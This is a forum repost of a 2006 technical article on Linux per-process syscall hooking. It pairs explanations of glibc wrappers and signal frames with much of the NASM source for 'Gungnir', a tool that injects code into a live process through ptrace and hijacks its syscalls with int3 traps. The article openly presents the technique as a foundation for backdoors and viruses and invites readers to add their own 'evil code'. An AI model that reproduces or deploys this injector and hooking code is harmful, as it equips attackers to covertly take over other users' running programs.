邪恶八进制信息安全团队技术讨论组's Archiver

pub!1c 2006-10-22 09:12

[转载]Linux Per-Process Syscall Hooking

文章作者:  Pluf

               Linux Per-Process Syscall Hooking
                     


1. Introduction
2. Function wrapping
3. Signal handling
4. Syscall trapping
5. Limitations
6. Conclusion
7. References
A. Gungnir code



1. Introduction

This document describes a new syscall hooking technique for Linux systems and
exposes how it can be implemented as part of a virus or a backdoor in order to
take full control over an userland application. Although there are some well-
known methods for hooking functions, they are mostly based on the ELF format
itself. This technique is focused on thoses pieces of code that are externally
called by the main program and invoke a system call or system service.

A simple implementation of this hooking mechanism has been developed as a result
of the research and it is included with the article. This code provided does not
have all the features you wish but includes the required ones, is not a real
backdoor but a simple proof of concept, perfect to write your own one.


2. Function Wrapping

This section contains a brief description of the libc syscall wrapping
mechanism and how it works, if you have not ever heard of this or you need
for more information you should read the libc code and check the manual [3].

The GNU C library (glibc) provides a complete interface to request system
services through a set of functions called syscall wrappers. These functions
are used by userland programmers to execute syscalls and not be worried about
the inner mechanism of services invocation. Each system service has its own
wrapper code associated and is placed in the libc shared object.
The following is the disassembly of the mprotect() syscall wrapper:

   53          push ebx
   8b542410      mov edx, [esp+10h]
   8b4c240c      mov ecx, [esp+0ch]
   8b5c2408      mov ebx, [esp+8]
   b87d000000    mov eax, 7dh
   cd80        int 80h
   5b          pop ebx
   3d01f0ffff    cmp eax, 0fffff001h
   7301        jnc loc_b54ad
   c3          ret
   53          push ebx
   e87efdf5ff    call sub_15231
   81c341eb0500   add ebx, offset_5eb41
   31d2        xor edx, edx
   29c2        sub edx, eax
   52          push edx
   e8cdfcf5ff    call sub_15190
   59          pop ecx
   5b          pop ebx
   8908        mov [eax], ecx
   83c8ff       or eax, 0ffffffffh
   ebe0        jmp loc_b54ac
   90          nop
   90          nop
   90          nop
   90          nop

This function contains lot of code that is not useful for us now, the most
significative code can be seen at the beginning. The first instructions are the
responsible for preparing and invoking the mprotect system call from userspace.
The parameters that it takes are all moved from the stack space into the
corresponding registers, then the service number is moved into eax and finally
the syscall is invoked by using one of the available "system service invocation
instruction" (traditionally, it has been the famous int80 instruction).

Although the code should be slightly different for each wrapper, they commonly
share the same pieces of code, where the most important ones are:

   1) instructions to set the parameters:

   8b542410      mov edx, [esp+10h]
   8b4c240c      mov ecx, [esp+0ch]
   8b5c2408      mov ebx, [esp+8]

   2) instruction to set the service number:

   b87d000000    mov eax, 7dh

   3) the system service invocation instruction:

   cd80        int 80h

   4) some kind of internal error handling:

   5b          pop ebx
   3d01f0ffff    cmp eax, 0fffff001h
   7301        jnc loc_b54ad

If we have a look at the libc source code we can see an include file which
contains some macros in inline assembly, it does exactly the first two parts
of the above layout. The following macro defines a general instruction used to
execute a syscall:

   # define INTERNAL_SYSCALL(name, err, nr, args...)  \
      ({  \
      register unsigned int resultvar;   \
      EXTRAVAR_##nr                \
      asm volatile (    \
      LOADARGS_##nr        \
      "movl %1, %%eax\n\t"      \
      "int $0x80\n\t"    \
      RESTOREARGS_##nr      \
      : "=a" (resultvar)          \
      : "i" (__NR_##name) ASMFMT_##nr(args) : "memory", "cc");   \
      (int) resultvar; })

And you can see the macro above in action in the following wrapper code:

   gid_t
   __getgid (void)
   {
      INTERNAL_SYSCALL_DECL (err);
   #if __ASSUME_32BITUIDS > 0
      INTERNAL_SYSCALL (getgid, err, 0);
   #else
   #ifdef __NR_getgid32
      if (__libc_missing_32bit_uids <= 0)
      {
        int result;

        result = INTERNAL_SYSCALL (getgid32, err, 0);
        if (! INTERNAL_SYSCALL_ERROR_P (result, err)
        || INTERNAL_SYSCALL_ERRNO (result, err) != ENOSYS)
        return result;

        __libc_missing_32bit_uids = 1;
      }
   # endif /* __NR_getgid32 */
      /* No error checking.  */
      return INTERNAL_SYSCALL (getgid, err, 0);
   #endif
   }


3. Signal Handling

This section will discuss what happens on userspace when a signal handler is
invoked and especially how the execution contexts are saved and restored. The
following is not a deep description of the Linux signal internals, only those
parts that are involved in our hooking method will be showed, if you need more
information check the kernel code.

A programmer can modify the behaviour of an application by simply changing the
default action taken by the process when a specific signal is delivered. When a
process receive a signal the kernel checks if exist a handler registered for it,
if it does, then the kernel executes the function "handle_signal" which
basically does the following three steps:

   * save current context
   * set handler context
   * begin handler execution

The first step consists in saving the current execution context which comprises
the general purpose registers, among other things, at the point in which the
execution flow was interrupted by the signal. All this information is known as
"signal frame" or sigframe. This structure is used later by kernel in order to
restore the execution, so it is placed on the stack, just after the last push.
Sigframe Struct:

   (fill in by the internal kernel function "setup_Frame")
   struct sigframe
   {
      char __user *pretcode;
      int sig;
      struct sigcontext sc;
      struct _fpstate fpstate;
      unsigned long extramask[_NSIG_WORDS-1];
      char retcode[8];
   };

Where the most interesting fields are:

   * pretcode: the restorer function address, called just after signal
    handler returns. It is usually a pointer to a code that simply
    makes a call to sigreturn():

      restorer = &__kernel_sigreturn;
      if (ka->sa.sa_flags & SA_RESTORER)
          restorer = ka->sa.sa_restorer;
      /* Set up to return from userspace.  */
      err |= __put_user(restorer, &frame->pretcode);

   * sig: number of the delivered signal

   * sc: a sigcontext structure that contains the value of all general purpose
        registers when the program was interrupted:

      struct sigcontext {
      unsigned short gs, __gsh;
      unsigned short fs, __fsh;
      unsigned short es, __esh;
      unsigned short ds, __dsh;
      unsigned long edi;
      unsigned long esi;
      unsigned long ebp;
      unsigned long esp;
      unsigned long ebx;
      unsigned long edx;
      unsigned long ecx;
      unsigned long eax;
      unsigned long trapno;
      unsigned long err;
      unsigned long eip;
      unsigned short cs, __csh;
      unsigned long eflags;

This shows how the stack layout looks when a sigframe has been inserted
(handler prolog is not present yet):

    esp         esp
  [  |  sigframe   | --- data ---- | ebp | eip | args ]
    &#39;---------------|              |
     |          &#39;---------------------&#39;
     |          interrupted function
     |          frame
     &#39;- restorer
      __kernel_sigreturn()

The second step consists in preparing the handler&#39;s context to be executed:

      regs->esp = (unsigned long) frame;
      regs->eip = (unsigned long) ka->sa.sa_handler;
      regs->eax = (unsigned long) sig;
      regs->edx = (unsigned long) 0;
      regs->ecx = (unsigned long) 0;

      set_fs(USER_DS);
      regs->xds = __USER_DS;
      regs->xes = __USER_DS;
      regs->xss = __USER_DS;
      regs->xcs = __USER_CS;

And finally, in the third step the execution flow came back from kernel space
and the handler is executed. Fortunately, the actions that it will do does not
affect the sigframe. Once it has finished the pretcode is loaded into eip
register and sigreturn() syscall restores the saved context.


4. Trapping syscalls

Once we have reviewed what a syscall wrapper is and what operations are involved
during a signal handling procedure we can proceed to explain the details of the
hooking mechanism.

Basically, a trapped syscall can be defined as an event notification mechanism,
used by a built-in userland syscall dispatcher. The idea is really quite
simple, just search a specific syscall wrapper and patch it with our hook, but
this hook is not the common "jmp/call" instruction which performs a flow control
transfer, but it is just a int3 instruction. As a result, each time a wrapper
code is accessed (from the main program or from a shared object) a sigtrap
signal is produced and delivered to the current process, it is catched by the
kernel and handled by an special sigtrap handler. This routine is responsible
for identifying the syscall requested and executing its associated callback
function.

Implement a syscall trapping mechanism is not really easy, it must be all coded
in assembly language because is the best way to work in the context of a runtime
process (portability problems). Also, the code should be as small as possible
(not always) and be able to performs, at least, all the following actions:

* copy itself into the target process avoiding ASLR and similar kernel
  developer tricks
* to have at one&#39;s disposal a good length disassembler engine
* has symbol resolution and symbol hot-patching routines
* has a sigtrap handler capable of dispatching syscall requests
* optionally (but no less important) has some kind of internal error handling
  in case of crash

In fact, as you can see, it is more like a virus but is not self-propagating.
The following sections will describe some of the above features included in the
code provided and the main actions that it performs to become a hidden system
service dispatcher.

4.1. Target Process Infection

First thing the code does is just copy itself into the target process and, to
achieve that, it uses the ptrace interface available on Linux, as well as on
many other UNIX systems. This task is performed by a small piece of code called
"injector".

When you have to write some code to the process&#39;s address space you have to face
some problems which, if not treated, can cause your backdoor and also the
infected program crash after detaching. The injector code must deal with it and
ensure the injected code is executed after the process is restarted.

*) blocking syscalls:

It is quite common to modify the EIP register to point to injected code so after
detaching it from target process it can be run, this way of doing the injection
may generates problems when the previously instruction (which ptrace interrupted
) corresponds to a blocking syscall like read(),write(),etc. So if EIP is
changed, the kernel will continues the execution at this point skipping over the
syscall.

One way to solve this is to inject two pieces of code: the first one is placed
at EIP (starter) and the second one is placed into the stack (main code). Due to
the fact that the EIP register is not changed, kernel continues the execution of
the blocking syscall and when it finished the starter cames into play. The only
thing the starter must do is move the second code to a memory mapped area and
run it.

*) VDSO and vsyscall:

If you take a look to the objects loaded into the address space of any process
of your Linux system, you can see a segment called "[vdso]", it is the
"dynamically linked shared object". This object is loaded by the kernel and
contains three functions: __kernel_vsyscall(), __kernel_sigreturn() and
__kernel_rt_sigreturn(). The most important one for us is the vsyscall().
This function has the code to enter into kernel mode and there are two different
versions: int version and sysenter version. for more information about VDSO
check [6].

The problem here is that the latest kernels does not allow us to modify the code
of the VDSO segment, so we can not write the starter code into the vsyscall.
Once again there is a way to solve this new problem and it consist in searching
for the return address to the caller function:

            ( wrapper code )
            mov   %ebx,%edx
            mov   0x8(%esp),%ecx
            mov   0x4(%esp),%ebx
( vsyscall )   mov   $0x27,%eax     ( vsyscall )
int 0x80 <----  call  *%gs:0x10  ----> push  %ecx
ret    ,----> [ the starter code ]   push  %edx
  |     |    [  is placed here  ]   push  %ebp
  &#39;-->----|                    mov   %esp,%ebp
       |                    sysenter
       |                    nop x7
       |                    jmp   0xffffe403
       |                    pop   %ebp
       |                    pop   %edx
       |                    pop   %ecx
       &#39;----<----------------------  ret

*) VDSO analyzer:

The VDSO analyzer is just a set of small functions coded to help the code
provided to perform a runtime identification of that segment and get information
about their symbols:

VDSOHandle *VDSOLoad(DWORD pid, DWORD base)
VOID VDSOUnload(VDSOHandle *)
VDSOSym *VDSOGetSym(VDSOHandle *, DWORD SymId)
DWORD VDSOGetRet(VDSOHandle *, DWORD EIP, DWORD ESP)

4.2. Symbol resolution

Once the code has been injected the next step is to locate the syscall wrappers
to be hijacked. As was described in section 2, they are all part of the libc
shared object, so at this point some kind of built-in symbol resolver is
required.

*) shared object symbol resolver:

The symbol resolution is the most tedious process but the most funny as well.
Although exists some heuristics tricks to get the address of a shared object
symbol, only one is both reliable and faster: elf hash table. The description
of this generic mechanism is beyond the scope of this text, for more details
check out [3]. The code provided contains a function to deal with this task:
the shared object symbol resolver.

VOID sosr(sosr *)

sosr_flags          equ 00h ; DWORD    : options
sosr_hash_table      equ 04h ; PVOID    : symbol hash table
sosr_va_table        equ 08h ; PVOID    ; symbol address table
sosr_sym_count       equ 0Ch ; DWORD    : num of symbols to be resolved
sosr_base          equ 10h ; DWORD    : shared object base address
sosr_dynamic        equ 14h ; DWORD    : dynamic section address
sosr_map_names       equ 18h ; PVOID    : map name list (gsoinf_by_maps)
sosr_lkm_names       equ 1Ch ; PVOID    : lkm name list (gsoinf_by_lkm)

The first thing the resolver does is to locate the base address of the shared
object, just only two methods to achieve this can be seriously considered: ld&#39;s
link_map structure and/or process maps file. The sosr() function take advantage
of both methods. The famous link_map list is a double linked list in which each
node describes a shared object that was loaded into the process address space.
The base address for each object is placed into this structure by the runtime
loader.

*) mapfile reader:

The Linux kernel maintains a maps file per process, commonly placed at /proc/PID
/maps, which describes all the memory mapped areas within the process. The
mapfile reader (mpfr) has been developed to cover this area, providing functions
to access the content of this file:

DWORD mpfr_open(mpfr *)
VOID mpfr_close(mpfr *)
mapent *mpfr_search_by_vaddr(mpfr *mpfr, DWORD vaddr)
mapent *mpfr_search_by_name(mpfr *mpfr, LPCSTR *name, DWORD size)
mapent *mpfr_search_by_names(mpfr *mpfr, PVOID *names)
mapent *mpfr_get_vdso(mpfr *mpfr)
mapent *mpfr_get_stack(mpfr *mpfr)

The mpfr_open() routine opens the process&#39; mapfile and build a linked list of
map entries, so you can go through this list in order to get the segment you are
searching for (the mpfr_search* and mpfr_get* routines).

The following is the content of a map entry:

mapent_start        equ 00h ; DWORD    : beginning of segment
mapent_end          equ 04h ; DWORD    : ending of segment
mapent_size         equ 08h ; DWORD    : segment size
mapent_flags        equ 0Ch ; DWORD    : segment type and options
mapent_name         equ 10h ; LPSTR    : segment name (shared objects only)
mapent_namesz        equ 14h ; DWORD    : segment name size
mapent_next         equ 18h ; PMAPENT  : next entry

If you take a look to the code you will note that the mapfile reader is largely
used throughout the code, this is because it should never fail and uses a system
resource that is supposed to be always present. In fact, is the most stable
method I have found so far.

*) the magic table:

The magic table is just a big data structure which contains information about
the syscall wrappers. Each symbol has its own entry and it is 5byte long and has
the following format:

0-1b    =  magic code
1-5b    =  magic value

The first byte is the magic code and the value stored in it is the system call
number for the syscall wrapper referenced.

The following 4 bytes is the magic value, which is just a dword that take the
following values:

1) a symbol name hash value
2) a Elf32_Sym struct pointer
3) a symbol code pointer
4) a syscall sub-handler pointer

Essentially, when the code start, the magic value is the symbol name hash, then
, when sosr() is executed, this value is changed by a pointer to the
corresponding Elf32_Sym structure within the .dynsym section. And finally, just
a bit before the infected process is restarted, its content is changed again to
hold a pointer to a syscall handler code.

4.3 Setting Up Hooks

When the resolution process has finished and we know exactly where are placed
the wrappers, is time to insert the hooks.

*) system service invocation instruction:

As was described in section 2, a syscall wrapper is just a simple routine used
by application programmers to request a system service. This request is performe
d by executing a SSII (system service invocation instruction), so if we can
control when these instructions are executed (being replaced by a hook code) it
is possible to build a sort of pre-request and post-request layer in which each
syscall is handled by an associated handler code.

The most famous SSII is the "int 80" instruction that has been used in linux
since the earlier versions. Most recently releases of Linux kernel has
introduced support to the new sysenter/sysexit instruction which allows faster
user to kernel transitions. The VDSO segment has been introduced to facilitate
the work of the libc, it has not to be worried about which SSII is used in the
system, each wrapper have just only call the vsyscall() function.
The code provided has support for all of this.

*) runtime code disassembling:

To proceed with the location of SSII&#39;s the whole symbol code must be
disassembled on runtime, so a good lde is required.  The best length
disassembler engine you can find for free (saving you to code your own) is
ADE,the Z0mbie&#39;s LDE. With this lde you can disassemble fast and is ok for our
purpose. I&#39;ve changed some bytes of the code to support int80 instructions.

Initialize the table is as easy as follows:

           push   dword[ebp+ade_flagtable-gdelta]
           call   ade_init                ; initialize tables for ade
           pop    eax

the same for disassembling:
                                      ; ade_disasm params:
           push   dword[ebp+ade_flagtable-gdelta] ; p3: flagtable address
           push   dword[ebp+ade_dstruct-gdelta]  ; p2: disasm struct address
           push   esi                    ; p1: code address
           call   ade_disasm

*) symbol hot-patching:

When a SSII is found within the wrapper&#39;s body, it needs to be completely
replaced without modifying any previous and following instruction. The
searching process is done with help of ADE and the patching is performed with
the following chunk of code:

.patch       movzx  ecx,byte[ebx+ssii_contentsz]
           sub    esi,ecx
           mov    cl,byte[ebx+ssii_size]
           xchg   edi,esi
.write_trap:   push   byte _trap
           pop    eax
           stosb
           push   byte _nop
           pop    eax
           dec    ecx
.write_nop:    stosb
           loop   .write_nop

As you can see, first instruction&#39;s byte is changed by a int3, filling the rest
with nops. The following code snipped is an example of patched chroot() wrapper:

        pre-patch          post-patch
        ---------          ----------
0xb7ecf000 mov  %ebx,%edx     :  mov   %ebx,%edx
0xb7ecf002 mov  0x4(%esp),%ebx  :  mov   0x4(%esp),%ebx
0xb7ecf006 mov  $0x3d,%eax    :  mov   $0x3d,%eax
0xb7ecf00b int  $0x80        :  int3
                      :  nop
0xb7ecf00d mov  %edx,%ebx     :  mov   %edx,%ebx

        pre-patch          post-patch
        ---------          ----------
0xb7ecf000 mov  %ebx,%edx     :  mov   %ebx,%edx
0xb7ecf002 mov  0x4(%esp),%ebx  :  mov   0x4(%esp),%ebx
0xb7ecf006 mov  $0x3d,%eax    :  mov   $0x3d,%eax
0xb7ecf00b call *%gs:0x10     :  int3
                      :  nop x6
0xb7ecf012 mov  %edx,%ebx     :  mov   %edx,%ebx

4.4. Syscall Dispatching

This is the last step and the most important one, at this point the hooks has
been inserted, so we must prepare the "Trapped Syscall Dispatcher" (TSD).
The TSD is the default sigtrap signal handler, so it will handle any sigtrap
(syscall request) generated by the hooks. The setup_tsd() function is
responsible for installing, configuring and testing the TSD.

*) registering the TSD:

The TSD must be registered as the default SIGTRAP handler for the running
process. To do that we use the sigaction interface as follows:

set_traphndl:  xchg   ecx,edx
           lea    eax, [ebp+tsd-gdelta]
           push   eax
           push   byte sc_sigaction
           pop    eax
           int    80h
           add    esp,(4*_push)
           call   [ebp+cer2-gdelta]

Under some circumstances, an infected application could replace our TSD code by
an internal sigtrap handler. In order to avoid this problem the sigaction
interface should be hooked as well to not allow this operation.

*) registering the TSD sub-handlers

The TSD sub-handlers are just a set of functions associated to the system calls,
the most basic sub-handler is as follows:

_schndl_fork:  ; fork syscall handler:
.link:       mov    ebx,sc_fork
           cmp    eax,ebx
           jne    _schndl_read
           call   edx
.body:       call   def_schndl
           ret

All the TSD sub-handlers provided in the code are empty, except one (a basic
example). These functions are the place where you can put your favourite evil
code, each time the syscall is executed all of its parameters are available to
be inspected or whatever you want to do.

The registration of the TSD sub-handlers is performed by the following chunk of
code:

.install_sch:  ; install syscall handlers
           mov    ecx,[ebp+(magic_table+magic_entnum)-gdelta]
           lea    esi,[ebp+(magic_table+magic_entry)-gdelta]
           mov    edi,esi
.next:       xor    eax,eax
           lodsb
           stosb
           call   schndl_lookup
           stosd
           lodsd
           loop   .next

*) configuring the TSD

The TSD behaviour is configured by enabling (default) or disabling the HEP, It
means "handler execution prevention" and when it is enabled the TSD only handle
those syscall requests within the libc text segment.

*) testing the TSD

Test if the TSD works if quite simple, just generate a SIGTRAP by executing an
int3 instruction and perform some sanity checks when the TSD is executed and
when it has restored the context. The following chunk of code performs the test:

           xor    ecx,ecx
           mov    dword[ebp+hep-gdelta],ecx
           mov    eax,ecx
           inc    ecx
           mov    ebx,ecx
           inc    ecx
           mov    edx,ecx
           inc    edx
           mov    dword[ebp+pid-gdelta],eax
           int3   ; ---< internal trap >----------:
           push   byte sc_getpid
           pop    eax
           int    80h
           mov    esi,eax
           cmp    eax,dword[ebp+pid-gdelta]
           je    .enable_HEP
           call   [ebp+sdr-gdelta]


7. Limitations

The code provided is just a proof of concept demonstration, so it has some
limitations and restrictions. In first place, only intercepts syscalls executed
from wrappers functions and any request made from a different place within the
process&#39;s virtual address space may result in a bypass of the TSD, system calls
are out of our control and are passed directly to kernel. In second place, the
code is not "thread-safe", it means that the TSD has no support to handle
multiple threads, so the behaviour of a multithreading process once it has been
infected is totally unpredictable. For instance, if the thread we have infected
has not set CLONE_SIGHAND flag when it was created by a call to clone() it will
not share the table of signal handlers and, as a result, only that thread will
be able to handle our hooks whereas the rest surely will crash. Finally, the
code assume that the user has process trace capabilities and is allowed to use
ptrace() interface.


6. Conclusion

Write backdoors or viruses for Linux is always difficult, the code must run on
different kernel versions, and not only the kernel but also other critical
components like libraries can be updated, turning each target system different
each other. The technique showed in this paper allows taking advantage of some
system calls and how to use them to carry out actions that they weren&#39;t designed
for. There are some other interesting components to be researched in order to
improve our "black code".


7. References

[1] 29A: viri & asm masters
   [url]http://vx.netlux.org/29a/[/url]

[2] Rootkit.com: rkit masters
   [url]http://www.rootkit.com[/url]

[3] Linux Kernel
   [url]http://www.kernel.org/[/url]

[4] The GNU C Library
   [url]http://www.gnu.org/software/libc/manual/[/url]

[5] More ELF buggery - the grugq
   [url]http://seclists.org/bugtraq/2002/May/0249.html[/url]

[6] What is linux-gate.so.1? - Johan Petersson
   [url]http://www.trilithium.com/johan/2005/08/linux-gate/[/url]


A. Gungnir code:

;
; Linux Per-Process Syscall Hooking Implementation (Gungnir)
; (C) by Pluf <[email]pluf@7a69ezine.org[/email]>
; Spain/2006
;

; compile:
;  nasm -f elf gungnir.asm && gcc gungnir.o -nostartfiles

BITS 32

[section .text]
global _start:

; options:
;%define            CRYPT
%define            DBG
;%define            TEST_SDR

; basic typedefs:
_dword            equ    04h
_word             equ    02h
_byte             equ    01h

; stack offsets:
_push             equ    _dword
_ret              equ    _dword
_pushfd            equ    _dword
_pushad            equ    8*_push

_pushad_eax         equ    7*_push
_pushad_ecx         equ    6*_push
_pushad_edx         equ    5*_push
_pushad_ebx         equ    4*_push
_pushad_esp         equ    3*_push
_pushad_ebp         equ    2*_push
_pushad_esi         equ    1*_push
_pushad_edi         equ    0*_push

; procedure params:
_pparams           equ    _pushad+_ret
_pparam1           equ    _pushad+_ret+00h
_pparam2           equ    _pushad+_ret+04h
_pparam3           equ    _pushad+_ret+08h
_pparam4           equ    _pushad+_ret+0Ch

; sigframe struct:
sigfrm_ret          equ    0*4
sigfrm_sig          equ    4*1

sigfrm_ctx_gs        equ    2*_push
sigfrm_ctx_fs        equ    3*_push
sigfrm_ctx_es        equ    4*_push
sigfrm_ctx_ds        equ    5*_push
sigfrm_ctx_edi       equ    6*_push
sigfrm_ctx_esi       equ    7*_push
sigfrm_ctx_esp       equ    8*_push
sigfrm_ctx_ebp       equ    9*_push
sigfrm_ctx_ebx       equ    10*_push
sigfrm_ctx_edx       equ    11*_push
sigfrm_ctx_ecx       equ    12*_push
sigfrm_ctx_eax       equ    13*_push
sigfrm_ctx_eip       equ    16*_push

; link_map struct:
link_map_base        equ    00h
link_map_name        equ    04h
link_map_dyn        equ    08h
link_map_next        equ    0Ch

; sigaction struct:
sigact_handler       equ    00h
sigact_mask         equ    04h
sigact_flags        equ    08h
sigact_restorer      equ    0Ch

; signals:
sigtrap            equ    05h
sigsegv            equ    0Bh
rt_signal          equ    32+3+20

; elf offsets/values:
elf_hdr_entry        equ    18h
elf_hdr_phnum        equ    2Ch
elf_hdr_phoff        equ    1Ch

elf_phdr_vaddr       equ    08h
elf_phdr_memsz       equ    14h
elf_phdr_entsize      equ    20h
elf_phdr_type_load    equ    01h
elf_phdr_type_dynamic  equ    02h

elf_dyn_dtag        equ    00h
elf_dyn_dval        equ    04h
elf_dyn_entsize      equ    08h
elf_dyn_tag_pltgot    equ    03h

elf_sym_value        equ    04h
elf_sym_size        equ    08h

elf_image_base       equ    08048000h
elf_magic          equ    7F454C46h

; ptrace requests:
ptrace_req_attach     equ    16
ptrace_req_detach     equ    17
ptrace_req_getregs    equ    12
ptrace_req_setregs    equ    13
ptrace_req_poke      equ    4
ptrace_req_peek      equ    1

; pt_regs struct:
ptregs            equ    (17*_push)
ptregs_eip          equ    (12*_push)
ptregs_esp          equ    (15*_push)

; instr opcodes:
_nop              equ    090h
_trap             equ    0CCh
_retinst           equ    0C3h

; system call numbers:
sc_exit            equ    001h
sc_fork            equ    002h
sc_read            equ    003h
sc_write           equ    004h
sc_open            equ    005h
sc_close           equ    006h
sc_waitpid          equ    007h
sc_execve          equ    00Bh
sc_lseek           equ    013h
sc_getpid          equ    014h
sc_mount           equ    015h
sc_umount          equ    016h
sc_ptrace          equ    01Ah
sc_mkdir           equ    027h
sc_rmdir           equ    028h
sc_chroot          equ    03Dh
sc_sigaction        equ    043h
sc_reboot          equ    058h
sc_mmap            equ    05Ah
sc_munmap          equ    05Bh
sc_clone           equ    078h
sc_uname           equ    07Ah
sc_mprotect         equ    07Dh
sc_create_module      equ    07Fh
sc_init_module       equ    080h
sc_delete_module      equ    081h
sc_query_module      equ    0A7h

; magic table offsets:
magic_entnum        equ    000h
magic_entry         equ    004h
magic_code          equ    000h
magic_address        equ    001h
magic_entsize        equ    005h
magic_badentry       equ    0FFh

; ssii entry offsets:
ssii_next          equ    000h
ssii_size          equ    001h
ssii_contentsz       equ    002h
ssii_content        equ    003h

nxsf              equ    0DEADBEEFh
blksz             equ    1000h
fmated_stringsz      equ    40
context_size        equ    10*4  ; ten dword

; external functions:
extern            atoi
extern            printf

_start:      ; get argument from shell (pid) "usage: ./gungnir pid"

           pop    eax                    ; argc
           dec    eax                    ; exec name
           jnz    .get_pid                ; no args, usage!!
           call   .usage
           db    "%s <pid>",0Ah,00h
.usage:      call   printf
           call   _exit
.get_pid:     pop    ebx
           call   atoi
           xchg   esi,eax                 ; esi = pid

injector:     ;----[ injector routine ]---------------: Inject the code into the target process
                                      ; (use ptrace interface)
           call   getDelta                ; get delta offset
           xor    eax,eax
           cdq

unprotect:    push   dword blksz              ; blksz = 4096
           push   eax                    ; block list = 0
           push   eax                    ; maps count = 0
           lea    edx,[ebp+self_maps-gdelta]
           push   edx                    ; map file path
           push   eax                    ; first entry = 0
           mov    ebx,esp
           push   ebx                    ; *mpfr
           call   mpfr_open                ; create mpfr for current process

           lea    ecx,[ebp+unprotect-gdelta]    ; get the map entry which
           push   ecx                    ; describes this segment
           push   ebx                    
           call   mpfr_search_by_vaddr

           push   7h                    ; unprotect text segment
           pop    edx
           mov    ecx,[eax+mapent_size]
           mov    ebx,[eax+mapent_start]
           push   byte sc_mprotect
           pop    eax
           int    80h
           call   injerr

           add    esp,(2*_push)
           pop    edx                    ; *mpfr
           lea    ecx,[ebp+maps-gdelta]        ; maps pointer is used by sosr(),
           mov    dword[ecx],esp            ; points to the curret mpfr

           push   sosr_flag_twotbl
           lea    ebx,[ebp+func_vatbl-gdelta]
           push   ebx
           lea    ebx,[ebp+func_hashtbl-gdelta]
           push   ebx
           call   rslv_libcsyms             ; resolve some libc symbols

           lea    ebx,[ebp+sosr_struct-gdelta]   ; clean base and dynamic
           mov    [ebx+sosr_base],eax         ; fields of sosr struct
           mov    [ebx+sosr_dynamic],eax

           push   edx
           call   mpfr_close               ; free the current mpfr
           add    esp,(9*_push)

get_tpmaps:    sub    esp,fmated_stringsz         ; get space enough to hold the
           mov    eax,esp                 ; formated string
           push   esi                    ; pid (argv[1])
           lea    ebx,[ebp+pid_maps-gdelta]
           push   ebx                    ; format string
           push   eax                    ; buffer
           call   [ebp+va_sprintf-gdelta]

           lea    ecx,[ebp+mpfr_struct-gdelta]
           mov    dword[ecx+mpfr_blk_size],blksz
           pop    dword[ecx+mpfr_path]        ; path
           push   ecx                    ; *mpfr
           call   mpfr_open                ; create mpfr for the target process
           add    esp,byte(3*_push)          ; restore stack

attach:      xchg   ecx,esi                 ; attach to the target process
           push   byte ptrace_req_attach       ; ecx = pid
           pop    ebx
           push   byte sc_ptrace
           pop    eax
           int    80h
           call   injerr

waitpid:      cdq                         ; wait for child to stop
           xchg   ebx,ecx
           xchg   ecx,eax
           push   byte sc_waitpid
           pop    eax
           int    80h                    ; ret eax = pid

getregs:      sub    esp,byte ptregs            ; get registers
           mov    esi,esp
           xchg   ebx,ecx
           mov    bl,byte ptrace_req_getregs
           push   byte sc_ptrace
           pop    eax
           int    80h
           call   injerr

get_eip:      mov    edx,[esp+ptregs_eip]        ; get and save orig EIP
           mov    dword[ebp+inj_orig_eip-gdelta],edx

           push   edx
           lea    eax,[ebp+mpfr_struct-gdelta]
           push   eax
           call   mpfr_search_by_vaddr        ; get map entry which EIP points to
           add    esp,(2*_push)

           test   eax,eax
           je    .seg_notfound             ; eax = 0, map not found
           test   byte[eax+mapent_flags],byte stype_vdso ; check if EIP points to VDSO
           je    .check_eip               ; not points to VDSO, we can inject the code directly

           xchg   edi,eax                 ; ebx = mapent

           push   dword[edi+mapent_start]      ; base
           push   ecx                    ; pid
           call   VDSOLoad                ; get information about VDSO
           add    esp,(2*_push)

           push   dword[esp+ptregs_esp]        ; esp
           push   edx                    ; eip
           push   eax                    ; *VDSOHandle
           call   VDSOGetRet               ; get address to inject the starter
           add    esp,(3*_push)

           xchg   edx,eax                 ; set and save new eip
           mov    dword[ebp+inj_orig_eip-gdelta],edx
           xchg   eax,edi

.check_eip:    mov    edi,[eax+mapent_end]        ; checks if there is space enugh
           sub    edi,edx                 ; to store the "starter" code
           cmp    edi,[ebp+starter_sz-gdelta]    ; between EIP and the end of the
           jae    save_host_code            ; segment
.seg_notfound:  call   _exit

save_host_code: mov    edi,[ebp+starter_sz-gdelta]    ; save host_code, this small chunck of code
           lea    esi,[ebp+host_code-gdelta]    ; of the target process will be replaced
           mov    bl,byte ptrace_req_peek      ; by the "starter" routine
.read_dword:   push   byte sc_ptrace
           pop    eax
           int    80h
           call   injerr
           lodsd
           add    edx,byte 4
           sub    edi,byte 4
           jne    .read_dword

           mov    edx,[ebp+inj_orig_eip-gdelta]  ; eip
           xchg   esi,ecx                 ; esi = pid

get_esp:      mov    eax,[esp+ptregs_esp]        ; get and save orig esp
           mov    dword[ebp+inj_orig_esp-gdelta],eax
           sub    eax,dword[ebp+stack_padd-gdelta]; get enough space into the stack
           push   eax                    ; to inject the main code

.set_starterGD: add    eax, byte (gdelta-schooker)    ; point exactly to gdelta label of the schooker routine
           mov    dword[ebp+starter_GD-gdelta],eax ; it is used to access and modify schooker&#39;s data
           lea    edi,[ebp+starter-gdelta]      ; init of starter

.check_esp:    lea    eax,[ebp+mpfr_struct-gdelta]
           push   eax                    ; *mpfr
           call   mpfr_search_by_vaddr        ; get map entry which "esp" points to
           pop    ecx
           test   eax,eax
           je    .seg_notfound             ; eax = 0, map not found
           pop    ecx
           cmp    ecx,[eax+mapent_start]       ; check if there is enough space to
           push   ecx                    ; store the main code into the stack
           jge    inject_starter
.seg_notfound:  call   _exit

inject_starter: mov    ebp,[ebp+starter_sz-gdelta]    ; inject starter routine
           mov    ecx,esi
           mov    bl,byte ptrace_req_poke      ; bl = 4
.write_dword:  mov    esi,dword[edi]
           push   byte sc_ptrace
           pop    eax
           int    80h
           call   injerr
           add    edi,ebx
           add    edx,ebx
           sub    ebp,ebx
           jne    .write_dword

inject_schker:  pop    edx                    ; inject schooker routine
           mov    edi,schooker
           mov    bl,byte ptrace_req_poke      ; bl = 4
.write_dword:  mov    esi,dword[edi]
           push   byte sc_ptrace
           pop    eax
           int    80h
           call   injerr
           add    edi,ebx
           add    edx,ebx
           cmp    edi,fini
           jbe    .write_dword

detach:      cdq
           mov    esi,edx                 ; detaches from the process
           mov    bl, byte ptrace_req_detach
           push   byte sc_ptrace
           pop    eax
           int    80h
           call   injerr

_exit:       xor    eax,eax                 ; exit(0)
           mov    ebx,eax
           inc    eax
           int    80h

